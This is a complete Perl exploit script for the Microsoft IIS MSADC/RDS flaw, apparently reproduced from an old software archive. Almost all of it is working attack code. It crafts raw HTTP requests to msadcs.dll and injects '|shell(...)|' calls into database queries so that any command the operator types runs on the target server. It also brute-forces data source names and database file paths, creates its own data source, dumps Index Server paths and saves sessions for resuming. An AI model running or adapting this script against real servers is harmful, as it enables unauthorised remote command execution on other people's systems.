home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl
- #
- # MSADC/RDS 'usage' (aka exploit) script version 2
- #
- # by rain forest puppy
- #
- # - added UNC support, really didn't clean up code, but oh well
-
- use Socket; use Getopt::Std;
- getopts("e:vd:h:XRVNwcu:s:", \%args);
-
- print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n";
-
- if (!defined $args{h} && !defined $args{R}) {
- print qq~
- Usage: msadc.pl -h <host> { -d <delay> -X -v }
- -h <host> = host you want to scan (ip or domain)
- -d <seconds> = delay between calls, default 1 second
- -X = dump Index Server path table, if available
- -N = query VbBusObj for NetBIOS name
- -V = use VbBusObj instead of ActiveDataFactory
- -v = verbose
- -e = external dictionary file for step 5
- -u <\\\\host\\share\\file> = use UNC file
- -w = Windows 95 instead of Windows NT
- -c = v1 compatibility (three step query)
- -s <number> = run only step <number>
-
- Or a -R will resume a (v2) command session
-
- ~; exit;}
-
- ###########################################################
- # config data
-
- @drives=("c","d","e","f","g","h");
-
- @sysdirs=("winnt","winnt35","winnt351","win","windows");
-
- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
- @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
- "banner", "banners", "ads", "ADCDemo", "ADCTest");
-
- # this is sparse, because I don't know of many
- @sysmdbs=( "\\catroot\\icatalog.mdb",
- "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
- "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
- "\\system32\\certmdb.mdb",
- "\\system32\\ias\\ias.mdb",
- "\\system32\\ias\dnary.mdb",
- "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
- @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
- "\\cfusion\\cfapps\\forums\\forums_.mdb",
- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
- "\\cfusion\\cfapps\\security\\realm_.mdb",
- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
- "\\cfusion\\database\\cfexamples.mdb",
- "\\cfusion\\database\\cfsnippets.mdb",
- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
- "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
- "\\cfusion\\brighttiger\\database\\cleam.mdb",
- "\\cfusion\\database\\smpolicy.mdb",
- "\\cfusion\\database\cypress.mdb",
- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
- "\\website\\cgi-win\\dbsample.mdb",
- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
- ); #these are just \
- ###########################################################
-
- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
- if(!defined $args{R}){ $target= inet_aton($ip)
- || die("inet_aton problems; host doesn't exist?");}
- if (!defined $args{R}){ $ret = &has_msadc; }
-
- if (defined $args{X}) { &hork_idx; exit; }
- if (defined $args{N}) { &get_name; exit; }
-
- if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
- if (defined $args{R}) { &load; exit; }
-
- print "Type the command line you want to run ($comm assumed):\n"
- . "$comm ";
- $in=<STDIN>; chomp $in;
- $command="$comm " . $in ;
-
- if (!defined $args{s} || $args{s}==1){
- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
- &try_btcustmr;}
-
- if (!defined $args{s} || $args{s}==2){
- print "\nStep 2: Trying to make our own DSN...";
- if (&make_dsn){ print "<<success>>\n"; sleep(3); } else {
- print "<<fail>>\n"; }} # we need to sleep to let the server catchup
-
- if (!defined $args{s} || $args{s}==3){
- print "\nStep 3: Trying known DSNs...";
- &known_dsn;}
-
- if (!defined $args{s} || $args{s}==4){
- print "\nStep 4: Trying known .mdbs...";
- &known_mdb;}
-
- if (!defined $args{s} || $args{s}==5){
- if (defined $args{u}){
- print "\xStep 5: Trying UNC...";
- &use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }}
-
- if (!defined $args{s} || $args{s}==6){
- if (defined $args{e}){
- print "\nStep 6: Trying dictionary of DSN names...";
- &dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }}
-
- print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";
- exit;
-
- ##############################################################################
-
- sub sendraw { # this saves the whole transaction anyway
- my ($pstr)=@_;
- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
- die("Socket problems\n");
- if(connect(S,pack "SnA4x8",2,80,$target)){
- open(OUT,">raw.out"); my @in;
- select(S); $|=1; print $pstr;
- while(<S>){ print OUT $_; push @in, $_;
- print STDOUT "." if(defined $args{X});}
- close(OUT); select(STDOUT); close(S); return @in;
- } else { die("Can't connect...\n"); }}
-
- ##############################################################################
-
- sub make_header { # make the HTTP request
- my $aa, $bb;
- if (defined $args{V}){
- $aa="VbBusObj.VbBusObjCls.GetRecordset";
- $bb="2";
- } else {
- $aa="AdvancedDataFactory.Query";
- $bb="3";}
-
- $msadc=<<EOT
- POST /msadc/msadcs.dll/$aa HTTP/1.1
- User-Agent: ACTIVEDATA
- Host: $ip
- Content-Length: $clen
- Connection: Keep-Alive
-
- ADCClientVersion:01.06
- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb
-
- --!ADM!ROX!YOUR!WORLD!
- Content-Type: application/x-varg
- Content-Length: $reqlen
-
- EOT
- ;
- $msadc=~s/\n/\r\n/g;
- return $msadc;}
-
- ##############################################################################
-
- sub make_req { # make the RDS request
- my ($switch, $p1, $p2)=@_;
- my $req=""; my $t1, $t2, $query, $dsn;
-
- if ($switch==1){ # this is the btcustmr.mdb query
- $query="Select * from Customers where City='|shell(\"$command\")|'";
- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-
- elsif ($switch==2){ # this is general make table query
- $query="create table AZZ (B int, C varchar(10))";
- $dsn="$p1";}
-
- elsif ($switch==3){ # this is general exploit table query
- $query="select * from AZZ where C='|shell(\"$command\")|'";
- $dsn="$p1";}
-
- elsif ($switch==4){ # attempt to hork file info from index server
- $query="select path from scope()";
- $dsn="Provider=MSIDXS;";}
-
- elsif ($switch==5){ # bad query
- $query="select";
- $dsn="$p1";}
-
- elsif ($switch==6){ # this is table-independant query (new)
- $query="select * from MSysModules where name='|shell(\"$command\")|'";
- $dsn="$p1";}
-
- $t1= make_unicode($query);
- $t2= make_unicode($dsn);
- if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
- $req.= "\x08\x00" . pack ("S1", length($t1));
- $req.= "\x00\x00" . $t1 ;
- $req.= "\x08\x00" . pack ("S1", length($t2));
- $req.= "\x00\x00" . $t2 ;
- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
- return $req;}
-
- ##############################################################################
-
- sub make_unicode { # quick little function to convert to unicode
- my ($in)=@_; my $out;
- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
- return $out;}
-
- ##############################################################################
-
- sub rdo_success { # checks for RDO return success (this is kludge)
- my (@in) = @_; my $base=content_start(@in);
- if($in[$base]=~/multipart\/mixed/){
- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
- return 0;}
-
- ##############################################################################
-
- sub make_dsn { # this (tries to) make a DSN for us
- print "\nMaking DSN: ";
- foreach $drive (@drives) {
- print "$drive: ";
- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
- "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
- return 0 if $2 eq "404"; # not found/doesn't exist
- if($2 eq "200") {
- foreach $line (@results) {
- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
- } return 0;}
-
- ##############################################################################
-
- sub verify_exists {
- my ($page)=@_;
- my @results=sendraw("GET $page HTTP/1.0\n\n");
- return $results[0];}
-
- ##############################################################################
-
- sub try_btcustmr {
-
- foreach $dir (@sysdirs) {
- print "$dir -> "; # fun status so you can see progress
- foreach $drive (@drives) {
- print "$drive: "; # ditto
- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
- $reqlenlen=length( "$reqlen" );
- $clen= 206 + $reqlenlen + $reqlen;
-
- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
- if (rdo_success(@results)){print "Success!\n";
-
- save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
- exit;}
- else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-
- ##############################################################################
-
- sub odbc_error {
- my (@in)=@_; my $base;
- my $base = content_start(@in);
- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
- $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
- $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
- return $in[$base+4].$in[$base+5].$in[$base+6];}
- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
- print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
- $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
-
- ##############################################################################
-
- sub verbose {
- my ($in)=@_;
- return if !$verbose;
- print STDOUT "\n$in\n";}
-
- ##############################################################################
-
- sub save {
- my ($p1)=@_; my $ropt="";
- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
- if (defined $args{c}){ $ropt="c ";}
- if (defined $args{V}){ $ropt.="V ";}
- if (defined $args{w}){ $ropt.="w ";}
- print OUT "v2\n$ip\n$ropt\n$p1\n";
- close OUT;}
-
- ##############################################################################
-
- sub load {
- my ($action)=@_;
- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
- @p=<IN>; close(IN);
- die("Wrong rds.save version") if $p[0] ne "v2\n";
- $ip="$p[1]"; $ip=~s/\n//g;
- $target= inet_aton($ip) || die("inet_aton problems");
- print "Resuming to $ip ...";
- @switches=split(/ /,$p[2]);
- foreach $switch (@switches) {
- $args{$switch}="1";}
-
- if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
- print "Type the command line you want to run ($comm assumed):\n"
- . "$comm ";
- $in=<STDIN>; chomp $in;
- $command="$comm " . $in ;
-
- $torun="$p[3]"; $torun=~s/\n//g;
- if($torun=~/btcustmr/){
- $args{'c'}="1";} # this is a kludge to make it work
-
- if($torun=~/^dbq/){ $torun=$drvst.$torun; }
-
- if(run_query("$torun")){
- print "Success!\n";} else { print "failed\n"; }
- exit;}
-
- ##############################################################################
-
- sub create_table {
- return 1 if (!defined $args{c});
- return 1 if (defined $args{V});
- my ($in)=@_;
- $reqlen=length( make_req(2,$in,"") ) - 28;
- $reqlenlen=length( "$reqlen" );
- $clen= 206 + $reqlenlen + $reqlen;
- my @results=sendraw(make_header() . make_req(2,$in,""));
- return 1 if rdo_success(@results);
- my $temp= odbc_error(@results); verbose($temp);
- return 1 if $temp=~/Table 'AZZ' already exists/;
- return 0;}
-
- ##############################################################################
-
- sub known_dsn {
- foreach $dSn (@dsns) {
- print ".";
- next if (!is_access("DSN=$dSn"));
- if(create_table("DSN=$dSn")){
- if(run_query("DSN=$dSn")){
- print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";}
-
- ##############################################################################
-
- sub is_access {
- my ($in)=@_;
- return 1 if (!defined $args{c});
- return 1 if (defined $args{V});
- $reqlen=length( make_req(5,$in,"") ) - 28;
- $reqlenlen=length( "$reqlen" );
- $clen= 206 + $reqlenlen + $reqlen;
- my @results=sendraw(make_header() . make_req(5,$in,""));
- my $temp= odbc_error(@results);
- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
- return 0;}
-
- ##############################################################################
-
- sub run_query {
- my ($in)=@_; my $req;
- if (defined $args{c}){$req=3;} else {$req=6;}
- $reqlen=length( make_req($req,$in,"") ) - 28;
-
- $reqlenlen=length( "$reqlen" );
- $clen= 206 + $reqlenlen + $reqlen;
- my @results=sendraw(make_header() . make_req($req,$in,""));
- return 1 if rdo_success(@results);
- my $temp= odbc_error(@results); verbose($temp);
- return 0;}
-
- ##############################################################################
-
- sub known_mdb {
- my @drives=("c","d","e","f","g");
- my @dirs=("winnt","winnt35","winnt351","win","windows");
- my $dir, $drive, $mdb;
- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-
- foreach $drive (@drives) {
- foreach $dir (@sysdirs){
- foreach $mdb (@sysmdbs) {
- print ".";
- if(create_table($drv.$drive.":\\".$dir.$mdb)){
- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
- print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit;
- }}}}}
-
- foreach $drive (@drives) {
- foreach $mdb (@mdbs) {
- print ".";
- if(create_table($drv.$drive.":".$mdb)){
- if(run_query($drv.$drive.":".$mdb)){
- print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit;
- }}}}
- }
-
- ##############################################################################
-
- sub hork_idx {
- print "\nAttempting to dump Index Server tables...\n";
- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
- $reqlen=length( make_req(4,"","") ) - 28;
- $reqlenlen=length( "$reqlen" );
- $clen= 206 + $reqlenlen + $reqlen;
- my @results=sendraw(make_header() . make_req(4,"",""));
- if (rdo_success(@results)){
- my $max=@results; my $c; my %d;
- for($c=19; $c<$max; $c++){
- $results[$c]=~s/\x00//g;
- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
- $d{"$1$2"}="";}
- foreach $c (keys %d){ print "$c\n"; }
- } else {print "Index server not installed/query failed\n"; }}
-
- ##############################################################################
-
- sub dsn_dict {
- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
- while(<IN>){
- $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
- next if (!is_access("DSN=$dSn"));
- if(create_table("DSN=$dSn")){
- if(run_query("DSN=$dSn")){
- print "Success!\n"; save ("dsn=$dSn"); exit; }}}
- print "\n"; close(IN);}
-
- ##############################################################################
-
- sub content_start { # this will take in the server headers
- my (@in)=@_; my $c;
- for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
- if($in[$c] =~/^\x0d\x0a/){
- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
- else { return $c+1; }}}
- return -1;} # it should never get here actually
-
- ##############################################################################
-
- sub funky {
- my (@in)=@_; my $error=odbc_error(@in);
- if($error=~/ADO could not find the specified provider/){
- print "\nServer returned an ADO miscofiguration message\nAborting.\n";
- exit;}
- if($error=~/A Handler is required/){
- print "\nServer has custom handler filters (they most likely are patched)\n";
- exit;}
- if($error=~/specified Handler has denied Access/){
- print "\nADO handlers denied access (they most likely are patched)\n";
- exit;}
- if($error=~/server has denied access/){
- print "\nADO handlers denied access (they most likely are patched)\n";
- exit;}}
-
- ##############################################################################
-
- sub has_msadc {
- my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
- my $base=content_start(@results);
- return if($results[$base]=~/Content-Type: application\/x-varg/);
- my @s=grep("Server: ",@results);
- if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
- else { print "/msadc/msadcs.dll was not found.\n";}
- exit;}
-
- ##############################################################################
-
- sub use_unc {
- $uncpath=$args{u};
- $driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
- if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
- print "Your UNC path sucks. You need the following format:\n".
- "\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }
-
- if(create_table($driverline.$uncpath)){
- if(run_query($driverline.$uncpath)){
- print "Success!\n"; save ("dbq=".$uncpath); exit;}}
- }
-
- ##############################################################################
-
- sub get_name { # this was added last minute
- my $msadc=<<EOT
- POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
- User-Agent: ACTIVEDATA
- Host: $ip
- Content-Length: 126
- Connection: Keep-Alive
-
- ADCClientVersion:01.06
- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
-
- --!ADM!ROX!YOUR!WORLD!--
- EOT
- ; $msadc=~s/\n/\r\n/g;
- my @results=sendraw($msadc);
- my $base=content_start(@results);
- $results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
- print "Machine name: $results[$base+6]\n";}
-
- ##############################################################################
- # special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
- # #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and
- # good friends!), wiretrip, l0pht, nmrc & all of phrack
- #
- # thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
- #
- # I wish I could really name everyone, but I can't. Don't feel slighted if
- # your not on the list... :)
- ##############################################################################
-
-